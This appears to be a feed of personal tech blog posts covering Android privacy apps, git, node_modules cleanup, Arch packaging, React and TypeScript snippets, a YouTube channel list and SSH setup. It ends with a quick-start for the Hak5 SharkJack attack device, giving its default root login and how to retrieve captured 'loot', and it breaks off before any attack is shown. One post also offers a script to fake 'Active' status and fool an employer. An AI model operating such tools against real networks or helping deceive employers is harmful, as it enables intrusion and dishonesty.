
Automate is a really handy app for running simple macros and device automation (however it is unfortunately not open source). One of the things I use it for, is turning off WiFi and other connectivity features when I'm not using them. I also have my phone enter airplane mode at nighttime, in order to not distract me (requires root). (Easer an LibreTasks are open source alternatives, but with less functionality)

Island

Island is a really useful sandbox environment, allowing you to clone selected apps and run them in an isolated box, preventing it from accessing your personal data, or device information, and it lets you freeze apps, preventing background tasks from running. It works by utilizing Androids Work Profile feature. It's certainly not fool-proof though, any security bugs in the Android system could lead to data leaks. It's currently not available on F-Droid, an alternative app is Shelter, built by @PeterCxy although I have found it to be less stable.

Monitoring Apps

The more apps installed on a device, the larger the attack surface. 50 is probably too many. The average smart phone user has 100 apps installed on their device- that's defiantly too many. It's important to know what is running in the background, remove apps you no longer use often or that have invasive trackers. App Manager is a really useful package manager, that makes uninstalling unneeded apps easy. Exodus is useful for finding out which trackers are included in each app.

❌The following apps are not fully open-source, and depending on your threat model, you may wish to avoid them:
Network Manager Pro, Hour Blocks, Tile, VNC Viewer, YouVision Bible, Fing, Ping Tools, PocketCasts, Spotify, Total Launcher, KWGT, Automate

⚠️The following apps are open source, but not available on F-Droid, again, this may be a deal breaker for you:
Island, ProtonMail, Signal, GitHub, Geometric Weather, Plex, Developer Assistant, Dev Tools

[QUICK-TIP] Git Submodules

Alicia's Notes 🚀 — Wed, 02 Sep 2020 12:35:37 +0000

In Git, a submodule is like a Git repository inside another Git repository. This can be useful for splitting work, or for including someone else's code within your project dynamically.

As an example, see the DuckDuckGo Android App and the corresponding .gitmodules file.

Quick Start

It's simple to add a submodule into your repository, with the following line:

git submodule add https://github.com/<user>/<repo> <path/to/save/at>

This will add a new file named .gitmodules within your projects root, that included the path to the source repo, along with the destination of where within your project it should be mapped to.

Note that to clone a repository along with it's sub modules, you must use the --recursive option. Similarly, to update the code within the submodules, you will need to run git submodule update --init --recursive.

For example, here (in my .gitmodules) I am adding the dotbot repo into the root of my dotfiles project:

[submodule ".dotbot"]
    path = .dotbot
    url = https://github.com/anishathalye/dotbot

Problems with Submodules

It's worth nothing, that this may work well for simple use cases, but would not be practical at all for referencing multiple packages. Usually a dependency management system (such as Cargo, NPM, RubyGems, Go Modules etc.) is a better solution.

Git doesn't automatically download submodules after clone (unless you use the --recursive flag), so if this is required for the project to run, you'll need to either document this, or add something into your build script to grab the submodules. Same goes for updates- submodules will not be fetched with a git pull, so git submodule update needs to be run.

There are also the potential security and stability issues this could cause, if you do not manage the repo being included. All in all, submodules are awesome, but for only a very particular use case.

Further Links

Example: https://github.com/duckduckgo/Android/tree/develop/submodules
Git Documentation: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Git Module File Documentation: https://www.git-scm.com/docs/gitmodules
Git Submodule Documentation: http://www.git-scm.com/docs/git-submodule
GitModules File Documentation: https://www.git-scm.com/docs/gitmodules
GitHub Modules: https://github.blog/2016-02-01-working-with-submodules

Introduction to Digital Privacy & Security 🔐

Alicia's Notes 🚀 — Thu, 13 Aug 2020 16:29:32 +0000

TLDR; Privacy is a fundamental right, and essential to democracy, liberty, and freedom of speech. Our privacy is being abused by governments (with mass-surveillance), corporations (profiting from selling personal data), and cyber criminals (stealing our poorly-secured personal data and using it against us). Security is needed in order to keep your private data private, and good digital security is critical to stay protected from the growing risks associated with the war on data.

What is Personal Data?

Personal data is any information that relates to an identified or identifiable living individual. Even data that has been de-identified or anonymized can often still be used to re-identify a person, especially when combined with a secondary data set.

This could be sensitive documents (such as medical records, bank statements, card numbers, etc), or user-generated content (messages, emails, photos, search history, home CCTV, etc) or apparently trivial metadata (such as mouse clicks, typing patterns, time spent on each web page, etc)

How is Data Collected?

One of the most common data collection methods is web tracking. This is when websites use cookies, device fingerprints, and other methods to identify you, and follow you around the web. It is often done for advertising, analytics, and personalization. When aggregated together, this data can paint a very detailed picture of who you are.

How is Data Stored?

Data that has been collected is typically stored in databases on a server. These servers are rarely owned by the companies managing them, 56% of servers are owned by Amazon AWS, Google Cloud, and Microsoft Azure. If stored correctly the data will be encrypted, and authentication required to gain access. However that usually isn't the case, and large data leaks occour almost dailey. As well as that data breaches occur, when an adversary compromises a database storing personal data. In fact, you've probably already been caught up in a data breach (check your email, at have i been pwned)

What is Personal Data Used For?

Data is collected, stored and used by governments, law enforcement, corporations and sometimes criminals:

Government Mass Surveillance

Intelligence and law enforcement agencies need surveillance powers to tackle serious crime and terrorism. However, since the Snowden revelations, we now know that this surveillance is not targeted at those suspected of wrongdoing- but instead the entire population. All our digital interactions are being logged and tracked by our very own governments.

Mass surveillance is a means of control and suppression, it takes away our inerrant freedoms and breeds conformity. When we know we are being watched, we subconsciously change your behavior. A society of surveillance is just 1 step away from a society of submission.

Corporations

On the internet the value of data is high. Companies all want to know exactly who you are and what you are doing. They collect data, store it, use it and sometimes sell it on.

Everything that each of us does online leaves a trail of data. These traces make up a goldmine of information full of insights into people on a personal level as well as a valuable read on larger cultural, economic and political trends. Tech giants (such as Google, Facebook, Apple, Amazon, and Microsoft) are leveraging this, building billion-dollar businesses out of the data that are interactions with digital devices create. We, as users have no guarantees that what is being collected is being stored securely, we often have no way to know for sure that it is deleted when we request so, and we don't have access to what their AI systems have refered from our data.

Our computers, phones, wearables, digital assistants and IoT have been turned into tracking bugs that are plugged into a vast corporate-owned surveillance network. Where we go, what we do, what we talk about, who we talk to, and who we see – everything is recorded and, at some point, leveraged for value. They know us intimately, even the things that we hide from those closest to us. In our modern internet ecosystem, this kind of private surveillance is the norm.

Cybercriminals

Hackers and cybercriminals pose an ongoing and constantly evolving threat. With the ever-increasing amount of our personal data being collected and logged - we are more vulnerable to data breaches and identity fraud than ever before.

In the same way, criminals will go to great lengths to use your data against you: either through holding it ransom, impersonating you, stealing money or just building up a profile on you and selling it on, to another criminal entity.

Why Data Privacy Matters

Data Privacy and Freedom of Speech

Privacy is a fundamental right, and you shouldn't need to prove the necessity of fundamental right to anyone. As Edward Snowden said, "Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say". There are many scenarios in which privacy is crucial and desirable like intimate conversations, medical procedures, and voting. When we know we are being watched, our behavior changes, which in turn suppresses things like free speech.

Data Can Have Control Over You

Knowledge is power; Knowledge about you is power over you. Your information will be used to anticipate your actions and manipulate the way you shop, vote, and think. When you know you are being watched, you subconsciously change your behavior. Mass surveillance is an effective, means of fostering compliance with social norms or with social orthodoxy. Without privacy, you might be afraid of being judged by others, even if you're not doing anything wrong. It can be a heavy burden constantly having to wonder how everything we do will be perceived by others.

Data Can Be Used Against You

Your personal information and private communications can be "cherry-picked" to paint a certain one-sided picture. It can make you look like a bad person, or criminal, even if you are not. Data often results in people not being judged fairly- standards differ between cultures, organisations, and generations. Since data records are permanent, behavior that is deemed acceptable today, may be held against you tomorrow. Further to this, even things we don't think are worth hiding today, may later be used against us in unexpected ways.

Data Collection Has No Respect For Boundaries

Data collection has no respect for social boundaries, you may wish to prevent some people (such as employers, family or former partners) from knowing certain things about you. Once you share personal data, even with a party you trust, it is then out of your control forever, and at risk of being hacked, leaked or sold. An attack on our privacy, also hurts the privacy of those we communicate with.

Data Discriminates

When different pieces of your data is aggregated together, it can create a very complete picture of who you are. This data profile, is being used to influence decisions made about you: from insurance premiums, job prospects, bank loan eligibility and license decisions. It can determine whether we are investigated by the government, searched at the airport, or blocked from certain services. Even what content you see on the internet is affected by our personal data. This typically has a bigger impact on minority groups, who are unfairly judged the most. Without having the ability to know or control what, how, why and when our data is being used, we loose a level of control. One of the hallmarks of freedom is having autonomy and control over our lives, and we can’t have that if so many important decisions about us are being made in the dark, without our awareness or participation.

The "I Have Nothing to Hide" Argument

Privacy isn’t about hiding information; privacy is about protecting information, and everyone has information that they’d like to protect. Even with nothing to hide, you still put blinds on your window, locks on your door, and passwords on your email account.- Nobody would want their search history, bank statements, photos, notes or messages to be publicly available to the world.

Data Privacy needs to be for Everyone

For online privacy to be effective, it needs to be adopted my the masses, and not just the few. By exercising your right to privacy, you make it easier for others, such as activists and journalists, to do so without sticking out.

So What Should we Do?

Educate yourself about what's going on and why it matters
Be aware of changes to policies, revelations, recent data breaches and related news
Take steps to secure your online accounts and protect your devices
Understand how to communicate privately, and how use the internet anonymously
Use software and services that respect your privacy, and keep your data safe
Support organisations that fight for your privacy and internet freedom
Find a way to make your voice heard, and stand up for what you believe in

Thanks for reading :)

Recently I have been working on writing up a checklist of privacy and security tips, as well as a list of privacy-respecting software. Both are hosted on GitHub, so that anyone can contribute to it: https://github.com/Lissy93/personal-security-checklist

[HOW-TO] Remove all node_modules folders 🗑️

Alicia's Notes 🚀 — Sat, 01 Aug 2020 20:27:57 +0000

Node Modules killing your hard drive space? Manually finding and removing is a pain, so here are some simple solutions

Option #1 - Natively

From your desired entry point, all you need to do, is run:

$ find . -name 'node_modules' -type d -prune -print -exec rm -rf '{}' \;

⚠️ This will delete all nested node_modules directories, and their contents ⚠️

If you'd first like to list of all node_modules within your current directory, you can run:

$ find . -name "node_modules" -type d -prune -print | xargs du -chs

This'll output the path, and total size of each occurrence of node_modules, and finish of by showing to cumulative total size

Option #2 - NPKill

NPKill is a simple, yet effective package that finds and removes all node_modules folders within your system.

After installing (with npm i -g npkill), just run npkill to start the CLI. From there you will be able to see all node_modules directories, along with their size and other meta data. You can then choose to delete them one-by-one, or all instances within certain parameters.

Note for Windows users

The above options are for Unix systems (Linux/ MacOS), if you need to do this natively, try the following commands, (thanks to Sahil Malik).

View which folders will be deleted:

FOR /d /r . %d in (node_modules) DO @IF EXIST "%d" echo %d"

Initiate the Extermination:

FOR /d /r . %d in (node_modules) DO @IF EXIST "%d" rm -rf "%d"

Done 😀

keep-mouse-movin.sh 🖱️

Alicia's Notes 🚀 — Sun, 26 Jul 2020 15:41:12 +0000

Working remotley? Sick and tired of having to get out of bed every 20 minutes to move your mouse, to prevent Slack/ Skype/ Teams from showing your status as Away? Well with a couple lines of bash, you can have your mouse pointer periodically move, ensureing your status will always remain Active. Your boss will be none the wiser

# LENGTH is the amount of px the mouse will move
# 0 = not moving at all, 1 = tiny movement, 100 = giant movement
LENGTH=50

# DELAY is the time period between movements, in seconds
DELAY=5

while true
  do
    for ANGLE in 0 90 180 270
      do
        xdotool mousemove_relative --polar $ANGLE $LENGTH
          sleep $DELAY
      done
    done

The pointer will move around its current position on the screen (i.e where you last placed it). However, if you prefer it to move around the centre of the screen, just change mousemove_relative to mousemove in the xdotool command.

[HOW-TO] Compile & Install Software on Arch 🏗️

Alicia's Notes 🚀 — Sat, 25 Jul 2020 15:16:53 +0000

Quick reference of the common commands, to install packages on Arch Linux

Option #1 - Pacman

If the app is availible through AUR, then you can simply use the pacman package manager

## Install
$ sudo pacman -S {package-name(s)}

## Get Details
$ pacman -Qi {package-name}

## Remove
$ sudo pacman -R {package-name}

Option #2 - Manually

Using the makepkg script to build the package from source

## 1. Get the code (E.g. from AUR, GitHub)
$ wget https://aur.archlinux.org/packages/{package-name}.tar.gz
$ tar -xvzf  {package-name}.tar.gz
$ cd {package-name}

## 2. Compile the package
$ makepkg -s

## 3. Install the app
$ sudo pacman -U *xz

Option #2 - from .deb

If only a .deb file is availible, you can convert it using debtap

## 1. Get debtap (first time), and optionally create an alias
$ git clone https://github.com/helixarch/debtap
$ alias debtap='. .path/to/debtap'

## 1. Download the .deb package you wish to install, e.g.
$ git clone {url-to-package.git}
$ cd {package-name}


## 3. Convert .deb to Arch package
$ debtap packagetoconvert.deb

## 4. Install the converted package to system
$ debtap -U *

Usefull Info:

AUR Listings: https://aur.archlinux.org/
Building Docs: https://wiki.archlinux.org/index.php/Makepkg
PacMan Docs: https://wiki.archlinux.org/index.php/pacman
For trouble shooting errors: https://dev.to/nabbisen/troubleshooting-around-installing-aur-packages-neg
Before installing check: licence, popularity, last updated, dependencies

key-mirror.ts 🪞

Alicia's Notes 🚀 — Thu, 23 Jul 2020 17:31:03 +0000

A quick function to construct an enumeration which has keys the same as their value

This used to be part of React, but since it's now been removed (See commit: #56f5115), and some older packages throw an error without it, I've updated it, and uploading in case anyone else needs it while working with older React packages. A copy of React's original, JavaScript version can be found here.

/**
 * (C) Alicia Sykes <https://aliciasykes.com>
 * Licensed under MIT X11: https://git.io/Jew4i
 *
 * Constructs an enumeration with keys equal to their value.
 * @param {object} obj
 * @return {object}
 */
export function keyMirror(originObj: object) {
  if (typeof originObj !== 'object')
    throw new Error('keMirror(...): Argument must be an object');
  const obj: any = {};
  for (const key in originObj) {
    if (originObj.hasOwnProperty(key)) obj[key] = key;
  }
  return obj
}

React Grid System ⚛️

Alicia's Notes 🚀 — Wed, 15 Jul 2020 17:01:24 +0000

A simple React component for implementing responsive grid-based layouts, without any dependencies. It uses the native CSS Grid Layout properties to align elements into columns and rows. It is written in TypeScript as a Styled-Component for React or React Native projects.

/*
 * Entry point for React grid system
 * React implementation of CSS grid layout written in TypeScript as a styled-component
 * Licensed under MIT - (C) Alicia Sykes 2020 <https://aliciasykes.com>
 */

// FILE 1 - layout/index.ts

import Grid from './Grid';
import Cell from './Cell';

export { Grid, Cell };

// FILE 2 - layout/cell.ts

import styled from 'styled-components';
import { maxWidth } from '@styles/media-queries';

interface CellProps {
  left?: number; // The horizontal starting position
  width?: number; // How many cells to span, horizontally
  top?: number; // The vertical starting position
  height?: number; // How many cells to span, vertically
  className?: string; // So Cell can optionally be used as a styled container
}

const Cell = styled.div<CellProps>`
  ${props => {
    const { left, width, top, height } = props;
    return `
    grid-column-start: ${left || 'unset'};
    grid-column-end: ${width ? `span ${width}` : 'unset'};
    grid-row-start: ${top || 'unset'};
    grid-row-end: ${height ? `span ${height}` : 'unset'};
    overflow-x: hidden;
    overflow-wrap: break-word;
    word-wrap: break-word;
    ${maxWidth.tablet(`
      // For tablet and above
      grid-column-start: unset;
      grid-row-start: unset; 
    `)};
  `;
  }}
`;

export default Cell;

// FILE 3 - layout/grid.ts

import React from 'react';
import styled from 'styled-components';
import { gridValues } from '@styles/sizes';
import { minWidth } from '@styles/media-queries';

const GridWrapper = styled.div<{ columns?: number; gutterOutside?: boolean }>`
  ${({ columns, gutterOutside }) => {
    const { maxGridWidth, gutter, minRowHeight, minColWidth, numCols } = gridValues(columns);

    const desktop = gridValues(columns, 8, 4);

    return `
      max-width: ${maxGridWidth};
      margin: 0 auto;
      display: grid;
      grid-gap: ${gutter};
      padding: 0 ${gutterOutside ? gutter : 0}
      grid-auto-rows: minmax(${minRowHeight}, auto);
      grid-template-columns: repeat(auto-fit, minmax(${minColWidth}, 1fr));

      // For tablet and above
      ${minWidth.tablet(`
        grid-template-columns: repeat(${numCols}, 1fr);
      `)};

      // For desktop and above
      ${minWidth.desktop(`
        max-width: ${desktop.maxGridWidth};
        grid-gap: ${desktop.gutter};
      `)}
    `;
  }}
`;

const Grid: React.FC<{ className?: string; columns?: number; gutterOutside?: boolean }> = ({
  className,
  columns,
  children,
  gutterOutside,
}) => (
  <GridWrapper className={className} columns={columns} gutterOutside={gutterOutside}>
    {children}
  </GridWrapper>
);

export default Grid;

// FILE 4 - layout/grid-dimensions.ts

expoert const gridValues = (columns = 12, colWidth = 8, gutterWidth = 2) => ({
  maxGridWidth: sizeUnit(columns * colWidth + (columns - 1) * gutterWidth),
  gutter: sizeUnit(gutterWidth),
  minRowHeight: sizeUnit(5),
  minColWidth: sizeUnit(colWidth),
  numCols: columns,
});

Fave YouTube Chanels 📼

Alicia's Notes 🚀 — Mon, 13 Jul 2020 14:31:25 +0000

🔨 Hardware/ Electronics/ DIY
🔐 Cyber Security/ Privacy/ Hacking
💿 Linux / Servers / Sys Admin
👩‍💻 Coding/ Algorithms/ Software Development
💻 Computer Science/ AI/ Machine Learning
📱 Technology/ PCs/ Consumer Electronics
🪙 Cryptocurrency / Blockchain / Fintech / Investment
👾 Retro Computing / Gaming
🌐 Internet Culture / Memes / Internet Mysteries/ Trolling Scammers
🪐 Astronomy / Space / Planetary Science
🧪 Science/ Engineering/ Math
✝ Bible/ Jesus/ Religion
🚅 Trains / Maps / Travel
🏃‍♂️ Motivational/ Lifestyle
⛺ Sports / Outdoors/ Street Running
🖨️ 3D Printing
📚 Tutorials / Courses
🌈 Fun/ Sometimes Educational
🦚 Other Topics
🚓 True Crime
📺 Animations/ Cartoons
📽️ TV Shows
🎶 Music
🗳️ Misc

🔨 Hardware/ Electronics/ DIY

DIYPerks - Design and building electronic & DIY projects, presented by Matthew Perks
GreatScott - Awesome Electronics Tutorials, Projects and How To's
Bitluni's Lab - Entertaining electronics and IoT hacks
N-O-D-E - Awesome hardware security devices, and electronics
Spacehuhn - The legendary creator behind many hardware security products
Seytonic - Hacking-related tutorials, diy projects and raspberry pi/ Arduino mods
Zack Freedman - Humorous guy, very knowledgeable about electronics, 3D Printing and building stuff
DIY Machines - Building easy to re-create machines with affordable components
Andreas Spiess - Building small electronics IoT projects
Grensom - IoT and Raspberry Pi smart mirror projects
Michael Reeves - Building robots that do dumb but really smart stuff
Mitxela - Small maker with some really awesome projects about electronics, synthesizers, and other neat things
Look Mum no Computer - Electronic music creation with low level computers
Learn Embedded Systems - Tutorials on programming basic electronics
BigCliveDotCom - Reviews and experimentation with cheap Chinese components

Also: Alexandre Chappel, Simone Giertz

🔐 Cyber Security/ Privacy/ Hacking

PwnFunction - Animated computer security issues
Null Byte - Pentesting, Ethical hacking, Linux
LiveOverflow - CFT walkthroughs, security and hacking
Hak5 - The makers of the Rubber Ducky, Bash Bunny and other awesome gadgets
The Hated One - Anti-censorship and privacy videos
John Hammond - CTF walk-throughs and pentesting tutorials
Techlore - Privacy & Security Tutorials for the masses, and VPN Reviews
HackerSploit - Pen Testing, Hacking and Security Tutorials + Walk throughs
Sun Knudsen - Short privacy-related tutorials, from a small security researcher
Mental Outlaw - Online privacy, Linux, security, crypto and memes
Tom Spark Reviews - A guy who reviews privacy products

💿 Linux / Servers / Sys Admin

Techno Tim - Well explained basic home server applications
Wolfgang's Channel - Self-hosting, Linux, Privacy, Security and keyboards
Network Chuck - Networking, Security and Certifications
LearnLinuxTV - Linux tutorials and distro reviews (sometimes a bit slow, and basic)
Luke Smith - Terminal tricks, Linux apps, Arch Linux stuff and chat
Jeff Geerling - Raspberry Pi, Sys Admin and other tech stuff
Novaspirit Tech - Small Raspberry Pi home server projects, but quite basic
DB Tech - Self-Hosted services and homelabs
Byte my Bits - Videos about Plex, and occasionally other homelab stuff
Craft Computing - Networking, gaming hardware, graphics, Raspberry Pi, PCs
Tinkernut - Raspberry Pis, networking, basic hacking and communications

👩‍💻 Coding/ Algorithms/ Software Development

Computerphile - Detailed introductions to algorithms, data structures and architecture
Simply Explained - Simply explaining many computer topics
The New Boston - An original internet legend, beginner-friendly tutorials in a laid-back style
Caleb Curry - Complete coding courses, simply explained, Python, Java, C++, Crypto + more
The Net Ninja - Easy to follow web development tutorials
FireShip - Web Development Coding Snippets, Tutorials and Tricks
Free Code Camp - High quality programming tutorials
DevTips - Show web development tips and some introductory tutorials
Mathew Rayfield - Builds short, pointless but funny web projects
Federico Terzi - Short videos about Rust, coding and keyboard productivity (creator of Espanso)
TechWorld with Nana - DevOps Simply Explained

💻 Computer Science/ Blockchain/ AI/ Machine Learning

Code Bullet - Building epic AI projects, and training AI to play games
Jordan Harrod - Interesting videos about how we interact with AI, from a Harvard MIT PhD Student

📱 Technology/ PCs/ Consumer Electronics

Marques Brownlee - Quality, Trustworthy reviews and analysis of the latest tech
TechSource - Setup Wars & Cool PC Builds
Linus Tech Tips - No description needed
Dave Lee - Videos about smart phones, laptops and tech gadgets
UFD Tech - News and Reviews of PC Components
Smart Home Solver - Home Automation Ideas, How-To's and Reviews
Mrwhosetheboss - Smart phone reviews and discussions
DankPods - Audiophile reviews and mods
Byte Review - Reviews of mainstream tech, from a small creator
SquashyBoy - Mechanical keyboards and stuff
ThrillSeekerVR - Virtual reality stuff
Hipyo Tech - Cool mechanical keyboard stuff

🪙 Cryptocurrency / Blockchain / Fintech / Investment

Coin Bureau - Information about crypto and earning through staking
Finematics - Videos about the math behind DeFi, very informative. Slightly annoying accent, but great content
Benjamin Cowen - Great, unbiased technical analysis over long timelines
Digital Asset News - Daily news on crypto markets and trends
Heresy Financial - Explaining traditional finance, in order to understand modern finance
Legal Briefs - Everything you need to know about the legal side of crypto, and regulations
Aantonop - Long-form videos all about BitCoin and technical stuff
Thinking Crypto - Interviews with big players in the crypto space, and some crypto news
Bob Loukas - Long-form technical analysis videos (play on 2x speed)
Lil Bubble - Crypto memes and parody songs
Eds Finance Corner - British finance, investing and cryptocurrency channel
Plain Bagel - Finance and investing analysis
The Defiant - Variety of content, from interviews, educational content and podcasts
Dividend Bull - Channel dedicated to high yielding dividend investments

👾 Retro Computing / Gaming

The 8-Bit Guy - Exploring the inner workings of tech from the 80's, 90's and 2000's
Modern Vintage Gamer - Retro gaming and the homebrew community
ETA Prime - Handheld, console and Raspberry Pi emulation and other tech stuff
Ahoy - Nicely produced videos about modern gaming
Dani - Game developer
Robert Thomson Dev - Game dev

🌐 Internet Culture / Memes / Historical Internet Mysteries/ Fighting Internet Scammers

Barely Sociable - Analysis of internet mysteries
Internet Historian - Memes and the history of various internet memes
WavyWebSurf - Covering past and present internet stories
Pleasant Green - Guy who likes talking to Nigerian scammers
Jim Browning - The ultimate bad-ass scam baiter
Slightly Sociable - Mysteries and analysis of scams and stuff
Inside a Mind - Mysteries from around the Internet
Nexpo - Videos focused on dark stories from around the internet
Scare Theater - The discussion of slightly scary things
ReignBot
tamago2474 - Games, internet stuff and things

🪐 Astronomy / Space / Planetary Science

Dr. Becky - Space news and concepts explained by a friendly astrophysicist
DeepSkyVideos - Videos exporing deep space objects
Sixty Symbols - Physics and Astronomy videos, with a focus on Symbols
NASA - The official NASA Channel and Live Stream
Space.com - The latest space exploration news and info
The Vintage Space - All about the history of spaceflight

🧪 Science/ Engineering/ Math

Mark Robber - Awesome science videos, from an ex-NASA engineer
Practical Engineering - Engineering concepts explained visually with mini experiments
Stand-Up Maths - Maths-related topics, by Matt Parker, sometimes funny too
Veritasium - Really interesting science videos
Objectivity - Videos about ancient science treasures
Steve Mould - Science videos (he's also one of the presenters on a Podcast of Unnecessary Detail)
The Backyard Scientist - Cool science experiments, done in his backyard
Minute Physics - Animated, interesting physics principles
Domain of Science - Maths and Physics
3Blue1Brown - Lots of maths concepts, beautifully detailed
Better Explained - Clear and well explained math concepts
NumberPhile - Videos about Numbers
Stand-up Maths - Maths from real-world scenarios and the news
The Thought Emporium - From biohacking and biology, to nuclear physics and nanotech
Technology Connections - The science behind how everyday things actually work

✝ Bible/ Jesus/ Religion

Bible Project - Overview of how an entire chapter fits together
BibleDex - Short videos about verses from the Bible

🚅 Trains

🏃‍♂️ Motivational/ Lifestyle

⛺ Sports / Outdoors/ Street Running

Shiey Illegal Freedom - Train surfing, urban exploring and climbing
DyingLlama - Some epic street climbs
Harry Main - Mountain Biking Stuff
AlfieAesthetics - Outdoor survival tips, comedic guy
The Body Coach TV - Joe Wicks, home workout videos from a British icon
MrDeified - Scary true stories about divers, cavers, etc
MrDeified - Parkour and climbing tall things

🖨️ 3D Printing

Thomas Sanladerer - All kinds of 3D printing content
Proper Printing

📚 Tutorials

Logos By Nick - Inkscape and GIMP Tutorials
Thomas Sanladerer - 3D Printing Tutorials, from beginner to advanced
Brackeys - Game Dev Tutorials in Unity and C#
d3Vienno - A bit dated now, but still one of the best beginner D3.js tutorials out there

🦚 Other Topics

Professor Shoelace - Ian off of the legendary Ian's Shoelaces, explaining cool ways to tie your laces
Lock Picking Lawyer - Short videos where he just picks lots of locks
Taran Van Hemert - King of macros, creator a the ultimate video editing course
Captain Joe - Everything you've ever wanted to ask a Pilot of a Boeing 787
Ham Radio Crash Course - Videos about various SDRs and other transmitting things
NileRed - Interesting Chemistry experiments

🌈 Fun/ Sometimes Educational

ColdFusion - High quality documentaries about science, technology, business and more
CGP Grey - Engaging and unique videos covering history, politics, science, people and the world
Jay Foreman - The comedian and creator of Map Men, Unfinished London and Politics Unboringed
Ordinary Things - Ironic explanations of everyday stuff
TierZoo - The World explained as if it were a video game
Lemmino - Top 10 facts, internet mysteries and interesting things
Tapakapa - Friendly stick man giving you interesting facts about the world
Sam O'Nella Academy - Slightly educational, funny videos
Collin Furze - Crazy back yard inventions and often fire
Great Big Story - Amazing People, doing Improbable Things
Mike Boyd - A guy who learns a new skill every week or so
exurba - Videos that make you think, from the meaning of life to physics mysteries
Austin McConnell - Random, slightly funny videos from a film maker
Tom Scott - An arrogant British guy telling you things he thinks you may not know
Kurzgesagt - Uniquely animated science videos
Half as Interesting - Stuff that is quite literally only half interesting
Wendover Productions - Videos that explain how stuff in the world works
xplrd - General videos loosely related to democracy around the world
Poly Matter - More videos about random things that aren't actually as interesting as they look
SolarSands - videos about art and society
Neo - Clear and understandable analysis of geopolitical conflicts, politics and business
Its Okay to be Smart - Exploring the science behind everything with Joe Hanson PhD
Think Big - Ideas about humans, science, history and the future
Tedx Talks - Talks that didn't quite make the bar to be actual Ted talks
h0ser - Geography videos, animated, mostly middle-East
Atomic Frontier - Short BBC-style science and engineering documentaries from a small creator
Leon Hendrix - Videos about startups that made loads, or failed
History Matters - Short animated history videos
Half-Asleep Chris - Interesting coins & banknotes, travel, stop-motion. Nice guy, very calming voice
Kento Bento - Animated documentaries about Asian historical events and lifestyle
Joeseppi - Funny "In a Nutshell" theme videos
Name Explain - All about the origins of names
Robslondon - All about historic London

🚓 True Crime and Horror

Coffeehouse Crime - Analysis of solved and unsolved events
Jake Tran - Documentaries on money, power, war, & crime
Coffeezilla - Uncovering scams, fraudsters and fake gurus
Shrouded Hand - True horror stories about different topics
Code Blue Cam - Live footage from American cops, sometimes interesting

📺 Animations/ Cartoons

TheOdd1sOut
Jaiden Animations
Ice Cream Sandwich
Mattias Pilhede - Kinda random, short sketched stories
ExplosmEntertainment - Cyanide & Happiness Shorts and other classic comics
Veggit Tales - Animated vegetables, because why not

📽️ TV Shows

ITV Wonder - Some incredible survival stories (this one blew my mind!)
The Dragons Den - Start-up entrepreneurs getting roasted
Ninja Warrior UK - Just impressive Ninja climbing skills
The Real Hustle - Three fraudsters demonstrating how common scams work
Funny TV UK - I shouldn't laugh at this crap, but I do
BBC Three - Trashy TV shorts from the BBC
TED Talks - Short talks from 5 - 15 minutes about intellectual sounding stuff

🎶 Music

Mr Suicide Sheep - A compilation of electronic music
EddyKenzo - African (Ugandan) Music Artist and Exec
OK Go - Awful music, but amazing videos
Pomplamoose - American duo, indie pop and funk pop rock
LENNiNO Music - Small music producer
deadmau5 - Epic electronic music

🗳️ Misc

Drew Gooden - Comedic commentary on TV shows and stuff
The Zac and Jay Show - 2 British lads getting up to all sorts in London
EXCESSORIZE ME - Over-priced EDC and gadgets that you don't need
Nerd Forge - Fantast, Crafts and Sci-Fi Painting
Lauris Beinerts - Short comedy sketches about corporate life

🌟 Personal Favorite Favorites

CGP Grey, ColdFusion, DIYPerks, GreatScott, Jay Foreman, Mark Robber, N-O-D-E, Zach Freedman, Seytonic, The Hated One

Notes

These are my personal favorite YouTube channels, the talent and hard work behind each of these creators is very inspirational. Since I can't feasibly financially support all of them, I am instead sharing links to their content here.

I try to avoid using the official YouTube app and website (due to ads, terrible suggestions and Google having a total disregard for basic privacy), so I instead use Invidious (web) / FreeTube (desktop) / NewPipe (mobile). Therefore I need to manage my subscriptions externally, and that in part, is why I maintain this list.

Useful Links:

Channel Crawler - Useful tool to find and discover new YouTube Channels, based on specific parameters
YouTube-dl - A Python script to download videos from YouTube and some other platforms from a given URL. Can be used from the command-line, or incorporated into your project. It provides many optional parameters to specify video options. There's also YouTube-dl-GUI if you prefer a user interface
Turn off the Lights - Open source browser extension that dims the webpage around a video while it is playing

[HOW-TO] Use SSH for Server Authentication 🔓

Alicia's Notes 🚀 — Tue, 16 Jun 2020 20:41:29 +0000

Generating a new SSH Key Pair

Run ssh-keygen -t rsa -b 4096
When prompted, enter a passphrase
SSH keys should be stored in ~/.ssh/

Importing Public Key to Remote Machine

Option #1 - Manual Configuration

SSH into remote server, with username + password
cd into your /home directory, and mkdir .ssh
Copy public key from local to remote machine scp ~/.ssh/my_key.pub user@0.0.0.0:/home/username/.ssh/my_key.pub
Append SSH public key to authorized hosts file cat ~/.ssh/my_key.pub >> ~/.ssh/authorized_keys
Set permissions for
- the .ssh directory (read, write, execute): chmod 700 ~/.ssh/
- and the SSH keys (read, write): chmod 600 ~/.ssh/*

Option #2 - SSH Copy ID Command

Alternatively, the SSH Copy ID command will upload your public key to the remote server and update .ssh/authorized_keys
After generating an SSH key pair, simply run ssh-copy-id user@0.0.0.0 (with your username, IP and any other SSH flags)

Disable Password Authentication

Make a backup of the sshdconfig file, before modifying it `sudo cp /etc/ssh/sshdconfig.backup`
Turn off password authentication
- sudo vim /etc/ssh/sshd_config
- Find #PasswordAuthentication yes and replace with PasswordAuthentication no
- Save and exit
Restart SSH service sudo service ssh restart

Further Links

The OpenSSH Project: https://www.openssh.com
SSH-KeyGen Documentation: https://linux.die.net/man/1/ssh-keygen
Detailed tutorial for SSH-KeyGen: https://www.ssh.com/ssh/keygen
Short Video Guide, by Corey Schafer: https://youtu.be/vpk_1gldOAE

[HOW-TO] Operate the SharkJack 🦈

Alicia's Notes 🚀 — Wed, 20 May 2020 17:40:55 +0000

A Quick-Start Guide for the Hak5 SharkJack, a portable network attack tool

Access the SharkJack

Switch to Arming Mode (center), and connect to PC via Ethernet
Find the IP: Default is 172.16.24.1, run ifconfig to check
Login: ssh root@172.16.24.1, using password hak5shark
On first setup, change the default password, run passwd

Navigating the SharkJack

The active payload is located at: ~/payload/payload.sh
Captured loot is stored with the ~/loot/... directory
To save all loot locally, run: scp -r root@172.16.24.1:/root/loot/* .
To upload a new payload, run scp payload.sh root@172.16.24.1:/root/payload/

Conducting an Attack

